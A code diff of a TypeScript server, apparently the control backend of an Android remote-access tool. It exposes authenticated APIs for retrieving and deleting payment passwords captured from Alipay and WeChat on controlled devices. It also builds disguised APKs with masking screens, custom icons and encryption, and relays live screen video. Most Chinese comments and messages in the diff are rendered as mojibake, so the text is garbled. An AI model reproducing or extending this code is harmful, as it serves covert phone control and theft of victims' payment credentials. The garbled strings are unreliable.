this.webClientManager.getDeviceController(deviceId) if (!controllerClientId) { - // 设备未被控制 + // 鐠佹儳顦張顏囶潶閹貉冨煑 res.json({ success: true, deviceId, @@ -520,10 +895,10 @@ class RemoteControlServer { return } - // 获取控制者客户端信息 + // 閼惧嘲褰囬幒褍鍩楅懓鍛吂閹撮顏穱鈩冧紖 const controllerClient = this.webClientManager.getClient(controllerClientId) if (!controllerClient) { - // 控制者客户端不存在(可能已断开) + // 閹貉冨煑閼板懎顓归幋椋庮伂娑撳秴鐡ㄩ崷顭掔礄閸欘垵鍏樺鍙夋焽瀵偓閿? res.json({ success: true, deviceId, @@ -533,11 +908,11 @@ class RemoteControlServer { return } - // 检查是否是当前用户自己在控制 + // 濡偓閺屻儲妲搁崥锔芥Ц瑜版挸澧犻悽銊﹀煕閼奉亜绻侀崷銊﹀付閿? const isCurrentUser = controllerClient.userId === currentUserId || controllerClient.username === currentUsername - // 返回控制者信息(不包含敏感信息) + // 鏉╂柨娲栭幒褍鍩楅懓鍛繆閹垽绱欐稉宥呭瘶閸氼偅鏅遍幇鐔朵繆閹垽绱? res.json({ success: true, deviceId, @@ -545,7 +920,7 @@ class RemoteControlServer { isCurrentUser: isCurrentUser, controller: { clientId: controllerClientId, - username: controllerClient.username || '未知用户', + username: controllerClient.username || '閺堫亞鐓¢悽銊﹀煕', connectedAt: controllerClient.connectedAt, lastSeen: controllerClient.lastSeen, ip: controllerClient.ip, @@ -553,35 +928,35 @@ class RemoteControlServer { } }) } catch (error) { - this.logger.error('查询设备控制状态失败:', error) + this.logger.error('閺屻儴顕楃拋鎯ь槵閹貉冨煑閻樿埖鈧礁銇戦敓?', error) res.status(500).json({ success: false, - error: '查询设备控制状态失败', - message: error instanceof Error ? error.message : '未知错误' + error: '??????????', + message: error instanceof Error ? error.message : '閺堫亞鐓¢柨娆掝嚖' }) } }) - // 🔐 通用密码输入相关 API (需要认证) - 融合支付宝和微信密码查询 + // 棣冩敿 闁氨鏁ょ€靛棛鐖滄潏鎾冲弳閻╃鍙?API (闂団偓鐟曚浇顓婚敓? - 閾诲秴鎮庨弨顖欑帛鐎规繂鎷板顔讳繆鐎靛棛鐖滈弻銉嚄 this.app.get('/api/password-inputs/:deviceId', this.authMiddleware, (req, res) => { try { const { deviceId } = req.params const { page = 1, pageSize = 50, passwordType } = req.query - this.logger.info(`🔐 获取设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) + this.logger.info(`?? ?? ${deviceId} ???? (??: ${passwordType || 'ALL'})`) let result: any - // 根据密码类型选择查询方法 + // 閺嶈宓佺€靛棛鐖滅猾璇茬€烽柅澶嬪閺屻儴顕楅弬瑙勭《 if (passwordType === 'ALIPAY_PASSWORD') { - // 查询支付宝密码 + // 閺屻儴顕楅弨顖欑帛鐎规繂鐦戦敓? const alipayResult = this.databaseService.getAlipayPasswords( deviceId, parseInt(page as string), parseInt(pageSize as string) ) - // 转换为统一格式 + // 鏉烆剚宕叉稉铏圭埠娑撯偓閺嶇厧绱? result = { passwords: alipayResult.passwords.map(pwd => ({ id: pwd.id, @@ -602,13 +977,13 @@ class RemoteControlServer { totalPages: alipayResult.totalPages } } else if (passwordType === 'WECHAT_PASSWORD') { - // 查询微信密码 + // 閺屻儴顕楀顔讳繆鐎靛棛鐖? const wechatResult = this.databaseService.getWechatPasswords( deviceId, parseInt(page as string), parseInt(pageSize as string) ) - // 转换为统一格式 + // 鏉烆剚宕叉稉铏圭埠娑撯偓閺嶇厧绱? result = { passwords: wechatResult.passwords.map(pwd => ({ id: pwd.id, @@ -629,7 +1004,7 @@ class RemoteControlServer { totalPages: wechatResult.totalPages } } else { - // 查询通用密码输入记录 + // 閺屻儴顕楅柅姘辨暏鐎靛棛鐖滄潏鎾冲弳鐠佹澘缍? result = this.databaseService.getPasswordInputs( deviceId, parseInt(page as string), @@ -643,11 +1018,11 @@ class RemoteControlServer { data: result }) } catch (error) { - this.logger.error('获取密码输入记录失败:', error) + this.logger.error('閼惧嘲褰囩€靛棛鐖滄潏鎾冲弳鐠佹澘缍嶆径杈Е:', error) res.status(500).json({ success: false, - error: '获取密码输入记录失败', - message: error instanceof Error ? error.message : '未知错误' + error: '閼惧嘲褰囩€靛棛鐖滄潏鎾冲弳鐠佹澘缍嶆径杈Е', + message: error instanceof Error ? error.message : '閺堫亞鐓¢柨娆掝嚖' }) } }) @@ -657,13 +1032,13 @@ class RemoteControlServer { const { deviceId } = req.params const { passwordType } = req.query - this.logger.info(`🔐 获取设备 ${deviceId} 的最新密码输入 (类型: ${passwordType || 'ALL'})`) + this.logger.info(`?? ?? ${deviceId} ???? (??: ${passwordType || 'ALL'})`) let latestPassword: any = null - // 根据密码类型选择查询方法 + // 閺嶈宓佺€靛棛鐖滅猾璇茬€烽柅澶嬪閺屻儴顕楅弬瑙勭《 if (passwordType === 'ALIPAY_PASSWORD') { - // 查询最新支付宝密码 + // 閺屻儴顕楅張鈧弬鐗堟暜娴犳ê鐤傜€靛棛鐖? const alipayPassword = this.databaseService.getLatestAlipayPassword(deviceId) if (alipayPassword) { latestPassword = { @@ -681,7 +1056,7 @@ class RemoteControlServer { } } } else if (passwordType === 'WECHAT_PASSWORD') { - // 查询最新微信密码 + // 閺屻儴顕楅張鈧弬鏉夸簳娣団€崇槕閿? const wechatPassword = this.databaseService.getLatestWechatPassword(deviceId) if (wechatPassword) { latestPassword = { @@ -699,7 +1074,7 @@ class RemoteControlServer { } } } else { - // 查询最新通用密码输入 + // 閺屻儴顕楅張鈧弬浼粹偓姘辨暏鐎靛棛鐖滄潏鎾冲弳 latestPassword = this.databaseService.getLatestPasswordInput( deviceId, passwordType as string @@ -715,15 +1090,15 @@ class RemoteControlServer { res.json({ success: true, data: null, - message: '未找到密码输入记录' + message: '?????????' }) } } catch (error) { - this.logger.error('获取最新密码输入失败:', error) + this.logger.error('閼惧嘲褰囬張鈧弬鏉跨槕閻浇绶崗銉ャ亼閿?', error) res.status(500).json({ success: false, - error: '获取最新密码输入失败', - message: error instanceof Error ? error.message : '未知错误' + error: '??????????', + message: error instanceof Error ? error.message : '閺堫亞鐓¢柨娆掝嚖' }) } }) @@ -732,12 +1107,12 @@ class RemoteControlServer { try { const { deviceId } = req.params - this.logger.info(`🔐 获取设备 ${deviceId} 的密码类型统计`) + this.logger.info(`?? ?? ${deviceId} ???????`) - // 获取通用密码输入统计 + // 閼惧嘲褰囬柅姘辨暏鐎靛棛鐖滄潏鎾冲弳缂佺喕顓? const generalStats = this.databaseService.getPasswordTypeStats(deviceId) - // 获取支付宝密码统计 + // 閼惧嘲褰囬弨顖欑帛鐎规繂鐦戦惍浣虹埠閿? const alipayResult = this.databaseService.getAlipayPasswords(deviceId, 1, 1) const alipayStats = { passwordType: 'ALIPAY_PASSWORD', @@ -746,7 +1121,7 @@ class RemoteControlServer { lastInput: alipayResult.passwords.length > 0 ? alipayResult.passwords[0].timestamp : null } - // 获取微信密码统计 + // 閼惧嘲褰囧顔讳繆鐎靛棛鐖滅紒鐔活吀 const wechatResult = this.databaseService.getWechatPasswords(deviceId, 1, 1) const wechatStats = { passwordType: 'WECHAT_PASSWORD', @@ -755,7 +1130,7 @@ class RemoteControlServer { lastInput: wechatResult.passwords.length > 0 ? wechatResult.passwords[0].timestamp : null } - // 合并所有统计 + // 閸氬牆鑻熼幍鈧張澶岀埠閿? const allStats = [ ...generalStats, ...(alipayStats.count > 0 ? [alipayStats] : []), @@ -767,11 +1142,11 @@ class RemoteControlServer { data: allStats }) } catch (error) { - this.logger.error('获取密码类型统计失败:', error) + this.logger.error('閼惧嘲褰囩€靛棛鐖滅猾璇茬€风紒鐔活吀婢惰精瑙?', error) res.status(500).json({ success: false, - error: '获取密码类型统计失败', - message: error instanceof Error ? error.message : '未知错误' + error: '??????????', + message: error instanceof Error ? error.message : '閺堫亞鐓¢柨娆掝嚖' }) } }) @@ -781,36 +1156,36 @@ class RemoteControlServer { const { deviceId } = req.params const { passwordType } = req.query - this.logger.info(`🔐 删除设备 ${deviceId} 的密码输入记录 (类型: ${passwordType || 'ALL'})`) + this.logger.info(`棣冩敿 閸掔娀娅庣拋鎯ь槵 ${deviceId} 閻ㄥ嫬鐦戦惍浣界翻閸忋儴顔囬敓?(缁鐎? ${passwordType || 'ALL'})`) - // 根据密码类型选择删除方法 + // 閺嶈宓佺€靛棛鐖滅猾璇茬€烽柅澶嬪閸掔娀娅庨弬瑙勭《 if (passwordType === 'ALIPAY_PASSWORD') { - // 删除支付宝密码 + // 閸掔娀娅庨弨顖欑帛鐎规繂鐦戦敓? this.databaseService.clearAlipayPasswords(deviceId) } else if (passwordType === 'WECHAT_PASSWORD') { - // 删除微信密码 + // 閸掔娀娅庡顔讳繆鐎靛棛鐖? this.databaseService.clearWechatPasswords(deviceId) } else { - // 删除通用密码输入记录 + // 閸掔娀娅庨柅姘辨暏鐎靛棛鐖滄潏鎾冲弳鐠佹澘缍? this.databaseService.clearPasswordInputs(deviceId, passwordType as string) } - const typeDesc = passwordType ? ` (类型: ${passwordType})` : '' + const typeDesc = passwordType ? ` (缁鐎? ${passwordType})` : '' res.json({ success: true, - message: `密码输入记录已删除${typeDesc}` + message: `鐎靛棛鐖滄潏鎾冲弳鐠佹澘缍嶅鎻掑灩閿?{typeDesc}` }) } catch (error) { - this.logger.error('删除密码输入记录失败:', error) + this.logger.error('閸掔娀娅庣€靛棛鐖滄潏鎾冲弳鐠佹澘缍嶆径杈Е:', error) res.status(500).json({ success: false, - error: '删除密码输入记录失败', - message: error instanceof Error ? error.message : '未知错误' + error: '閸掔娀娅庣€靛棛鐖滄潏鎾冲弳鐠佹澘缍嶆径杈Е', + message: error instanceof Error ? error.message : '閺堫亞鐓¢柨娆掝嚖' }) } }) - // 💥 崩溃日志相关API (需要认证) + // 棣冩寽 瀹曗晜绨濋弮銉ョ箶閻╃鍙PI (闂団偓鐟曚浇顓婚敓? this.app.get('/api/crash-logs/:deviceId', this.authMiddleware, (req: any, res) => { try { const { deviceId } = req.params @@ -822,8 +1197,8 @@ class RemoteControlServer { ) res.json({ success: true, data: result }) } catch (error) { - this.logger.error('获取崩溃日志失败:', error) - res.status(500).json({ success: false, message: '获取崩溃日志失败' }) + this.logger.error('閼惧嘲褰囧畷鈺傜皾閺冦儱绻旀径杈Е:', error) + res.status(500).json({ success: false, message: '閼惧嘲褰囧畷鈺傜皾閺冦儱绻旀径杈Е' }) } }) @@ -834,15 +1209,15 @@ class RemoteControlServer { if (detail) { res.json({ success: true, data: detail }) } else { - res.status(404).json({ success: false, message: '崩溃日志不存在' }) + res.status(404).json({ success: false, message: '???????' }) } } catch (error) { - this.logger.error('获取崩溃日志详情失败:', error) - res.status(500).json({ success: false, message: '获取崩溃日志详情失败' }) + this.logger.error('閼惧嘲褰囧畷鈺傜皾閺冦儱绻旂拠锔藉剰婢惰精瑙?', error) + res.status(500).json({ success: false, message: '??????????' }) } }) - // APK相关路由 (需要认证) + // APK閻╃鍙х捄顖滄暠 (闂団偓鐟曚浇顓婚敓? this.app.get('/api/apk/info', this.authMiddleware, async (req, res) => { try { const apkInfo = await this.apkBuildService.checkExistingAPK() @@ -856,7 +1231,7 @@ class RemoteControlServer { buildEnvironment: buildEnv }) } catch (error: any) { - this.logger.error('获取APK信息失败:', error) + this.logger.error('閼惧嘲褰嘇PK娣団剝浼呮径杈Е:', error) res.status(500).json({ success: false, error: error.message @@ -866,10 +1241,10 @@ class RemoteControlServer { this.app.post('/api/apk/build', this.authMiddleware, this.upload.single('appIcon'), async (req, res) => { try { - // 获取服务器地址,如果没有提供则使用当前请求的地址 + // 閼惧嘲褰囬張宥呭閸c劌婀撮崸鈧敍灞筋洤閺嬫粍鐥呴張澶嬪絹娓氭稑鍨担璺ㄦ暏瑜版挸澧犵拠閿嬬湴閻ㄥ嫬婀撮崸鈧? const serverUrl = req.body.serverUrl || `${req.protocol}://${req.get('host')}` - // ✅ 获取配置选项 + // 閿?閼惧嘲褰囬柊宥囩枂闁銆? const options = { enableConfigMask: req.body.enableConfigMask === 'true' || req.body.enableConfigMask === true, // enableConfigMask: true, @@ -877,7 +1252,7 @@ class RemoteControlServer { configMaskText: req.body.configMaskText, configMaskSubtitle: req.body.configMaskSubtitle, configMaskStatus: req.body.configMaskStatus, - // 🔧 修复:添加加密相关参数 + // 棣冩暋 娣囶喖顦查敍姘潑閸旂姴濮炵€靛棛娴夐崗鍐插棘閿? enableEncryption: req.body.enableEncryption === 'true' || req.body.enableEncryption === true, encryptionLevel: req.body.encryptionLevel, webUrl: req.body.webUrl, @@ -886,9 +1261,9 @@ class RemoteControlServer { : (req.body.pageStyleConfig || {}) } - // 如果有上传的图标文件,添加到选项中 + // 婵″倹鐏夐張澶夌瑐娴肩姷娈戦崶鐐垼閺傚洣娆㈤敍灞惧潑閸旂姴鍩岄柅澶愩€嶉敓? if (req.file) { - this.logger.info('收到图标文件:', req.file.originalname, `(${req.file.size} bytes)`) + this.logger.info('閺€璺哄煂閸ョ偓鐖i弬鍥︽:', req.file.originalname, `(${req.file.size} bytes)`) options.pageStyleConfig.appIconFile = { buffer: req.file.buffer, originalname: req.file.originalname, @@ -896,46 +1271,46 @@ class RemoteControlServer { } } - // 🔧 添加调试日志:显示接收到的原始参数 - this.logger.info('[DEBUG] 接收到的原始请求参数:') + // 棣冩暋 濞h濮炵拫鍐槸閺冦儱绻旈敍姘▔缁€鐑樺复閺€璺哄煂閻ㄥ嫬甯慨瀣棘閿? + this.logger.info('[DEBUG] 閹恒儲鏁归崚鎵畱閸樼喎顫愮拠閿嬬湴閸欏倹鏆?') this.logger.info('[DEBUG] - enableEncryption:', req.body.enableEncryption) this.logger.info('[DEBUG] - encryptionLevel:', req.body.encryptionLevel) this.logger.info('[DEBUG] - enableConfigMask:', req.body.enableConfigMask) this.logger.info('[DEBUG] - enableProgressBar:', req.body.enableProgressBar) - this.logger.info('收到构建请求,配置选项:', JSON.stringify({ + this.logger.info('閺€璺哄煂閺嬪嫬缂撶拠閿嬬湴閿涘矂鍘ょ純顕€鈧銆?', JSON.stringify({ ...options, pageStyleConfig: { ...options.pageStyleConfig, - appIconFile: options.pageStyleConfig.appIconFile ? `文件: ${options.pageStyleConfig.appIconFile.originalname}` : undefined + appIconFile: options.pageStyleConfig.appIconFile ? `閺傚洣娆? ${options.pageStyleConfig.appIconFile.originalname}` : undefined } }, null, 2)) - // 立即返回响应,让构建在后台进行 + // 缁斿宓嗘潻鏂挎礀閸濆秴绨查敍宀冾唨閺嬪嫬缂撻崷銊ユ倵閸欐媽绻橀敓? res.json({ success: true, - message: '构建已开始,请通过 /api/apk/build-status 接口查看进度', + message: 'Build status endpoint unavailable; please use /api/apk/build-status', building: true }) - // 在后台执行构建,不阻塞HTTP响应 + // 閸︺劌鎮楅崣鐗堝⒔鐞涘本鐎鐚寸礉娑撳秹妯嗘繅婵癟TP閸濆秴绨? this.apkBuildService.buildAPK(serverUrl, options) .then((result) => { - this.logger.info('构建完成:', result) - // 构建完成,结果可以通过build-status接口获取 + this.logger.info('閺嬪嫬缂撶€瑰本鍨?', result) + // 閺嬪嫬缂撶€瑰本鍨氶敍宀€绮ㄩ弸婊冨讲娴犮儵鈧俺绻僢uild-status閹恒儱褰涢懢宄板絿 }) .catch((error: any) => { - this.logger.error('构建APK失败:', error) - this.logger.error('错误堆栈:', error.stack) - // 错误已记录在构建日志中,可以通过build-logs接口查看 + this.logger.error('閺嬪嫬缂揂PK婢惰精瑙?', error) + this.logger.error('闁挎瑨顕ら崼鍡樼垽:', error.stack) + // 闁挎瑨顕ゅ鑼额唶瑜版洖婀弸鍕紦閺冦儱绻旀稉顓ㄧ礉閸欘垯浜掗柅姘崇箖build-logs閹恒儱褰涢弻銉ф箙 }) } catch (error: any) { - this.logger.error('构建APK请求处理失败:', error) - this.logger.error('错误堆栈:', error.stack) + this.logger.error('閺嬪嫬缂揂PK鐠囬攱鐪版径鍕倞婢惰精瑙?', error) + this.logger.error('闁挎瑨顕ら崼鍡樼垽:', error.stack) if (!res.headersSent) { res.status(500).json({ success: false, - error: error.message || '构建请求处理失败' + error: error.message || '閺嬪嫬缂撶拠閿嬬湴婢跺嫮鎮婃径杈Е' }) } } @@ -946,7 +1321,7 @@ class RemoteControlServer { const status = this.apkBuildService.getBuildStatus() res.json(status) } catch (error: any) { - this.logger.error('获取构建状态失败:', error) + this.logger.error('閼惧嘲褰囬弸鍕紦閻樿埖鈧礁銇戦敓?', error) res.status(500).json({ success: false, error: error.message @@ -954,7 +1329,7 @@ class RemoteControlServer { } }) - // 获取构建日志API + // 閼惧嘲褰囬弸鍕紦閺冦儱绻擜PI this.app.get('/api/apk/build-logs', this.authMiddleware, (req, res) => { try { const limit = req.query.limit ? parseInt(req.query.limit as string) : undefined @@ -965,7 +1340,7 @@ class RemoteControlServer { total: logs.length }) } catch (error: any) { - this.logger.error('获取构建日志失败:', error) + this.logger.error('閼惧嘲褰囬弸鍕紦閺冦儱绻旀径杈Е:', error) res.status(500).json({ success: false, error: error.message @@ -973,16 +1348,16 @@ class RemoteControlServer { } }) - // 清空构建日志API + // 濞撳懐鈹栭弸鍕紦閺冦儱绻擜PI this.app.delete('/api/apk/build-logs', this.authMiddleware, (req, res) => { try { this.apkBuildService.clearBuildLogs() res.json({ success: true, - message: '构建日志已清空' + message: '???????' }) } catch (error: any) { - this.logger.error('清空构建日志失败:', error) + this.logger.error('濞撳懐鈹栭弸鍕紦閺冦儱绻旀径杈Е:', error) res.status(500).json({ success: false, error: error.message @@ -1005,28 +1380,28 @@ class RemoteControlServer { const filePath = result.filePath! const filename = result.filename! - // 设置下载头 + // 鐠佸墽鐤嗘稉瀣祰閿? res.setHeader('Content-Disposition', `attachment; filename="${filename}"`) res.setHeader('Content-Type', 'application/vnd.android.package-archive') res.setHeader('Content-Length', result.size!.toString()) - // 发送文件 + // 閸欐垿鈧焦鏋冮敓? res.sendFile(filePath, (err) => { if (err) { - this.logger.error('发送APK文件失败:', err) + this.logger.error('閸欐垿鈧竸PK閺傚洣娆㈡径杈Е:', err) if (!res.headersSent) { res.status(500).json({ success: false, - error: '文件下载失败' + error: 'read_latest_password_failed' }) } } else { - this.logger.info(`APK下载成功: ${filename}`) + this.logger.info(`APK娑撳娴囬幋鎰: ${filename}`) } }) } catch (error: any) { - this.logger.error('处理APK下载请求失败:', error) + this.logger.error('婢跺嫮鎮夾PK娑撳娴囩拠閿嬬湴婢惰精瑙?', error) if (!res.headersSent) { res.status(500).json({ success: false, @@ -1036,7 +1411,7 @@ class RemoteControlServer { } }) - // 分享链接管理API + // 閸掑棔闊╅柧鐐复缁狅紕鎮夾PI this.app.get('/api/apk/shares', this.authMiddleware, (req, res) => { try { const shares = this.apkBuildService.getActiveShares() @@ -1045,7 +1420,7 @@ class RemoteControlServer { shares }) } catch (error: any) { - this.logger.error('获取分享链接列表失败:', error) + this.logger.error('閼惧嘲褰囬崚鍡曢煩闁剧偓甯撮崚妤勩€冩径杈Е:', error) res.status(500).json({ success: false, error: error.message @@ -1061,16 +1436,16 @@ class RemoteControlServer { if (result) { res.json({ success: true, - message: '分享链接已停止' + message: '???????' }) } else { res.status(404).json({ success: false, - error: '分享会话不存在' + error: '???????' }) } } catch (error: any) { - this.logger.error('停止分享链接失败:', error) + this.logger.error('閸嬫粍顒涢崚鍡曢煩闁剧偓甯存径杈Е:', error) res.status(500).json({ success: false, error: error.message @@ -1078,24 +1453,24 @@ class RemoteControlServer { } }) - // 默认路由 - 返回 index.html(如果静态文件服务没有处理) + // 姒涙顓荤捄顖滄暠 - 鏉╂柨娲?index.html閿涘牆顩ч弸婊堟饯閹焦鏋冩禒鑸垫箛閸斺剝鐥呴張澶婎槱閻炲棴绱? this.app.get('/', (req, res) => { - // @ts-ignore - process.pkg 是 pkg 打包后添加的属性 + // @ts-ignore - process.pkg 閿?pkg 閹垫挸瀵橀崥搴㈠潑閸旂姷娈戠仦鐑囨嫹? const publicPath = (process as any).pkg ? path.join(path.dirname(process.execPath), 'public') : path.join(process.cwd(), 'public') const indexPath = path.join(publicPath, 'index.html') - // 检查 index.html 是否存在 + // 濡偓閿?index.html 閺勵垰鎯佺€涙ê婀? if (fs.existsSync(indexPath)) { res.sendFile(indexPath) } else { - // 如果 index.html 不存在,返回 JSON 信息 + // 婵″倹鐏?index.html 娑撳秴鐡ㄩ崷顭掔礉鏉╂柨娲?JSON 娣団剝浼? res.json({ name: 'Remote Control Server', version: '1.0.0', - description: 'Android远程控制中继服务器', + description: 'Android????????', note: 'public/index.html not found' }) } @@ -1103,26 +1478,26 @@ class RemoteControlServer { } /** - * 设置Socket.IO事件处理 + * 鐠佸墽鐤哠ocket.IO娴滃娆㈡径鍕倞 */ /** - * 🔧 将设备注册请求加入队列处理,防止并发冲突 + * 棣冩暋 鐏忓棜顔曟径鍥ㄦ暈閸愬矁顕Ч鍌氬閸忋儵妲﹂崚妤€顦╅悶鍡礉闂冨弶顒涢獮璺哄絺閸愯尙鐛? */ private queueDeviceRegistration(socket: any, data: any): void { const timestamp = Date.now() this.registrationQueue.push({ socket, data, timestamp }) - this.logger.debug(`设备注册请求已加入队列: ${socket.id}, 队列长度: ${this.registrationQueue.length}`) + this.logger.debug(`鐠佹儳顦▔銊ュ斀鐠囬攱鐪板鎻掑閸忋儵妲﹂敓? ${socket.id}, 闂冪喎鍨梹鍨: ${this.registrationQueue.length}`) - // 启动队列处理 + // 閸氼垰濮╅梼鐔峰灙婢跺嫮鎮? this.processRegistrationQueue() } /** - * 🔧 处理设备注册队列 + * 棣冩暋 婢跺嫮鎮婄拋鎯ь槵濞夈劌鍞介梼鐔峰灙 */ private async processRegistrationQueue(): Promise { - // 如果正在处理或队列为空,直接返回 + // 婵″倹鐏夊锝呮躬婢跺嫮鎮婇幋鏍Е閸掓ぞ璐熺粚鐚寸礉閻╁瓨甯存潻鏂挎礀 if (this.isProcessingRegistration || this.registrationQueue.length === 0) { return } @@ -1132,51 +1507,556 @@ class RemoteControlServer { while (this.registrationQueue.length > 0) { const currentTime = Date.now() - // 检查冷却时间,防止注册请求过于频繁 + // 濡偓閺屻儱鍠庨崡瀛樻闂傝揪绱濋梼鍙夘剾濞夈劌鍞界拠閿嬬湴鏉╁洣绨0鎴犵畳 if (currentTime - this.lastRegistrationTime < this.REGISTRATION_COOLDOWN) { const waitTime = this.REGISTRATION_COOLDOWN - (currentTime - this.lastRegistrationTime) - this.logger.debug(`注册冷却中,等待 ${waitTime}ms`) + this.logger.debug(`濞夈劌鍞介崘宄板祱娑擃叏绱濈粵澶婄窡 ${waitTime}ms`) await new Promise(resolve => setTimeout(resolve, waitTime)) } - // 取出队列中的第一个请求 + // 閸欐牕鍤梼鐔峰灙娑擃厾娈戠粭顑跨娑擃亣顕敓? const request = this.registrationQueue.shift() if (!request) break const { socket, data, timestamp } = request - // 检查请求是否过期(超过30秒的请求丢弃) + // 濡偓閺屻儴顕Ч鍌涙Ц閸氾箒绻冮張鐕傜礄鐡掑懓绻?0缁夋帞娈戠拠閿嬬湴娑撱垹绱旈敓? if (currentTime - timestamp > 30000) { - this.logger.warn(`丢弃过期的注册请求: ${socket.id}, 延迟: ${currentTime - timestamp}ms`) + this.logger.warn(`Skip stale registration queue entry: socket=${socket.id}, age=${currentTime - timestamp}ms`) continue } - // 检查socket是否仍然连接 + // 濡偓閺岊櫣ocket閺勵垰鎯佹禒宥囧姧鏉╃偞甯? if (!socket.connected) { - this.logger.warn(`跳过已断开连接的注册请求: ${socket.id}`) + this.logger.warn(`Skip registration: socket already disconnected (${socket.id})`) continue } try { - this.logger.info(`🔧 队列处理设备注册: ${socket.id} (队列剩余: ${this.registrationQueue.length})`) + this.logger.info(`Process queued device registration: socket=${socket.id}, pending=${this.registrationQueue.length}`) this.handleDeviceRegister(socket, data) this.lastRegistrationTime = Date.now() } catch (error) { - this.logger.error(`队列处理设备注册失败: ${socket.id}`, error) + this.logger.error(`Process queued device registration failed: socket=${socket.id}`, error) } } this.isProcessingRegistration = false } + private resolveSrtHintsFromSocket(socket: any): { ingestHostHint: string, playbackWsOriginHint: string } { + const hostHeader = String(socket?.handshake?.headers?.host || '').trim() + const normalizedHost = hostHeader.split(',')[0]?.trim() || '' + + const forwardedProtoRaw = socket?.handshake?.headers?.['x-forwarded-proto'] + const forwardedProto = Array.isArray(forwardedProtoRaw) + ? String(forwardedProtoRaw[0] || '') + : String(forwardedProtoRaw || '') + const proto = forwardedProto.split(',')[0]?.trim().toLowerCase() + const wsScheme = proto === 'https' || proto === 'wss' ? 'wss' : 'ws' + + const ingestHostHint = normalizedHost.includes(':') + ? normalizedHost.split(':')[0] + : normalizedHost + const playbackWsOriginHint = normalizedHost ? `${wsScheme}://${normalizedHost}` : '' + + return { ingestHostHint, playbackWsOriginHint } + } + + private getWebRtcServerConfig(): { + webrtcTurnUrls: string + webrtcTurnUsername: string + webrtcTurnPassword: string + } { + const webrtcTurnUrls = String( + process.env.WEBRTC_TURN_URLS + || process.env.TURN_URLS + || '' + ).trim() + const webrtcTurnUsername = String( + process.env.WEBRTC_TURN_USERNAME + || process.env.TURN_USERNAME + || '' + ).trim() + const webrtcTurnPassword = String( + process.env.WEBRTC_TURN_PASSWORD + || process.env.TURN_PASSWORD + || '' + ).trim() + + return { + webrtcTurnUrls, + webrtcTurnUsername, + webrtcTurnPassword + } + } + + private summarizeSdpForLog(sdp: string): string { + try { + const normalized = String(sdp || '') + .replace(/\r\n/g, '\n') + .replace(/\r/g, '\n') + const lines = normalized + .split('\n') + .map((line) => line.trim()) + .filter((line) => line.length > 0) + const hasV0 = lines[0]?.startsWith('v=0') ? '1' : '0' + const hasMVideo = lines.some((line) => line.startsWith('m=video')) ? '1' : '0' + const hasExtmapMixed = lines.some((line) => line.toLowerCase() === 'a=extmap-allow-mixed') ? '1' : '0' + const iceOptions = lines.find((line) => line.toLowerCase().startsWith('a=ice-options:')) || '' + const digest = createHash('sha1').update(normalized).digest('hex').slice(0, 10) + return `hash=${digest},v0=${hasV0},mVideo=${hasMVideo},extmapMixed=${hasExtmapMixed},ice=${iceOptions},lines=${lines.length}` + } catch (error: any) { + return `summary_error:${error?.message || 'unknown'}` + } + } + + private handleWebRTCOffer(socket: any, data: any): void { + try { + const deviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + const sdp = typeof data?.sdp === 'string' ? data.sdp : '' + const type = typeof data?.type === 'string' ? data.type : 'offer' + if (!deviceId || !sdp) { + socket.emit('webrtc_error', { deviceId, message: 'invalid_webrtc_offer' }) + return + } + + const webClient = this.webClientManager.getClientBySocketId(socket.id) + if (!webClient) { + socket.emit('webrtc_error', { deviceId, message: 'web_client_not_registered' }) + return + } + + if (!this.webClientManager.hasDeviceControl(webClient.id, deviceId)) { + socket.emit('webrtc_error', { deviceId, message: 'no_device_control' }) + return + } + + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + socket.emit('webrtc_error', { deviceId, message: 'device_offline' }) + return + } + + const deviceSocket = this.io.sockets.sockets.get(device.socketId) + if (!deviceSocket) { + socket.emit('webrtc_error', { deviceId, message: 'device_socket_missing' }) + return + } + + const webrtcConfig = this.getWebRtcServerConfig() + this.webClientManager.setVideoTransportPreference(webClient.id, deviceId, 'webrtc') + this.logger.info( + `[WebRTC] offer web->device: client=${webClient.id}, device=${deviceId}, sdpLen=${sdp.length}, ${this.summarizeSdpForLog(sdp)}` + ) + deviceSocket.emit('webrtc_offer', { + deviceId, + clientId: webClient.id, + type, + sdp, + fps: Number.isFinite(Number(data?.fps)) ? Number(data.fps) : 40, + maxLongEdge: Number.isFinite(Number(data?.maxLongEdge)) ? Number(data.maxLongEdge) : 960, + bitrateKbps: Number.isFinite(Number(data?.bitrateKbps)) ? Number(data.bitrateKbps) : 2200, + priority: typeof data?.priority === 'string' ? data.priority : 'smooth', + webrtcTurnUrls: webrtcConfig.webrtcTurnUrls, + webrtcTurnUsername: webrtcConfig.webrtcTurnUsername, + webrtcTurnPassword: webrtcConfig.webrtcTurnPassword, + timestamp: Date.now() + }) + } catch (error) { + this.logger.error('handleWebRTCOffer failed', error) + socket.emit('webrtc_error', { + deviceId: data?.deviceId, + message: 'internal_error' + }) + } + } + + private handleWebRTCAnswer(socket: any, data: any): void { + try { + if ((socket as any).clientType !== 'device') return + const senderDeviceId = (socket as any).deviceId + const payloadDeviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + const deviceId = senderDeviceId || payloadDeviceId + if (!deviceId) return + + if (senderDeviceId && payloadDeviceId && senderDeviceId !== payloadDeviceId) { + this.logger.warn(`Reject cross-device webrtc_answer: sender=${senderDeviceId}, payload=${payloadDeviceId}`) + return + } + + const clientId = typeof data?.clientId === 'string' ? data.clientId : '' + const sdp = typeof data?.sdp === 'string' ? data.sdp : '' + const type = typeof data?.type === 'string' ? data.type : 'answer' + if (!clientId || !sdp) return + + const delivered = this.webClientManager.sendToClient(clientId, 'webrtc_answer', { + deviceId, + type, + sdp, + timestamp: Date.now() + }) + if (delivered) { + this.logger.info(`[WebRTC] answer device->web: device=${deviceId}, client=${clientId}, sdpLen=${sdp.length}`) + } else { + this.logger.warn(`[WebRTC] answer dropped (target offline?): device=${deviceId}, client=${clientId}`) + } + } catch (error) { + this.logger.error('handleWebRTCAnswer failed', error) + } + } + + private handleWebRTCIceCandidate(socket: any, data: any): void { + try { + const candidate = typeof data?.candidate === 'string' ? data.candidate : '' + if (!candidate) return + + const payloadDeviceId = typeof data?.deviceId === 'string' ? data.deviceId : '' + if ((socket as any).clientType === 'device') { + const senderDeviceId = (socket as any).deviceId + const deviceId = senderDeviceId || payloadDeviceId + if (!deviceId) return + if (senderDeviceId && payloadDeviceId && senderDeviceId !== payloadDeviceId) { + 